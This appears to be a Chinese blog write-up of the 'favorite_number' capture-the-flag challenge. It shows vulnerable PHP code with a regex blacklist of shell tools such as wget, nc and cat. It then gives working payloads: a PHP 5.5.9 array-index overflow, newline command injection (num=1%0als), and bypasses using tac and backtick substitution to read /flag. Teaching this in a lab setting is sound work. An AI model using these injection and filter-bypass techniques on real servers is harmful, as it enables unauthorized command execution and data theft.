• 攻防世界----favorite_number


    知识点1 php5.5.9版本数字溢出漏洞

    知识点2 代码执行的绕过技巧

    1. //php5.5.9
    2. $stuff = $_POST["stuff"];
    3. $array = ['admin', 'user'];
    4. if($stuff === $array && $stuff[0] != 'admin') {、
    5. //在这里就用到了数字溢出漏洞,
    6. $num= $_POST["num"];
    7. if (preg_match("/^\d+$/im",$num)){
    8. if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){
    9. //这里用到绕过的知识点
    10. echo "my favorite num is:";
    11. system("echo ".$num);
    12. }else{
    13. echo 'Bonjour!';
    14. }
    15. }
    16. } else {
    17. highlight_file(__FILE__);
    18. }

    1.数字溢出漏洞

    漏洞原理

    即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;

    16的八次方 = 4294967296;

    解题:

    步骤1

    $stuff === $array && $stuff[0] != 'admin'

    跟据这行代码我们构造参数为

    stuff[4294967296]=admin&stuff[1]=user

    步骤2

    system("echo ".$num);

    看到system函数,猜测为命令执行漏洞,利用截断符(%0a,即换行)来进行命令执行

    构造参数

    num=1%0als

    payload为

    stuff[4294967296]=admin&stuff[1]=user&num=1%0als

    将参数放在hackbar执行(因为参数是post请求的)并且通过bp拦截post请求包

    注意到 %0D%0A,这个是windows系统的截断符,将其换成 %0a后即可进行命令执行 

    (这里的a不区分大小写)

     成功找到漏洞点

    步骤2 

    接下来就是绕过了

    1. !preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)
    2. //这些字符都被过滤了
    3. sh,wget,nc,python,php,perl,?,flag,},cat,echo,*,^,],\,',",|

    常用的,如ls并没有被过滤

    那个+号是因为这个字符被url编码了,因此空格得用+号来替代

    解决cat被禁

    因为cat被ban了,因此我们用tac,tac命令就是反着的cat命令。

    cat命令是第一行到最后一行输出,tac是最后一行到第一行输出

     解决flag被禁

    尝试fla*,发现*也被禁了

    问题在于怎么给tac传递 /flag参数

    方式1,官方题解

    通过给一个文件写入 /flag路径,再通过这个文件拿到/flag

    先后向zer0b文件写入 /fla,g 组成/flag,再通过 tac 命令获取zer0b的内容,即可获取/flag

     `,这个符号(在键盘的tab键上方)在linux中相当于优先执行的权限

    1. tac `tac /tmp/zer0b` 这条命令执行过程
    2. 首先执行 ``里的内容即 tac /tmp/zer0b 执行结果为 /flag
    3. 其次执行整个语句即 tac /flag
    4. 成功获取flag

  • 相关阅读:
    数据库相关知识
    计算机学院院长第一课——前辈的经验
    Typora(morkdown编辑器)的安装包和安装教程
    拼多多API接口,百亿补贴商品详情接口系列
    【完整代码】2023数学建模国赛C题代码--蔬菜类商品的自动定价与补货决策
    什么是 Wake-on-LAN?如何使用 Splashtop 远程喊醒电脑
    页面跳转之转发和重定向+Servlet中文乱码问题
    机器学习实战:用SVD压缩图像
    Vue封装websocket双向通讯
    【勇敢饭饭,不怕刷题之链表】链表反转的几种情况
  • 原文地址:https://blog.csdn.net/qq_44418229/article/details/125896195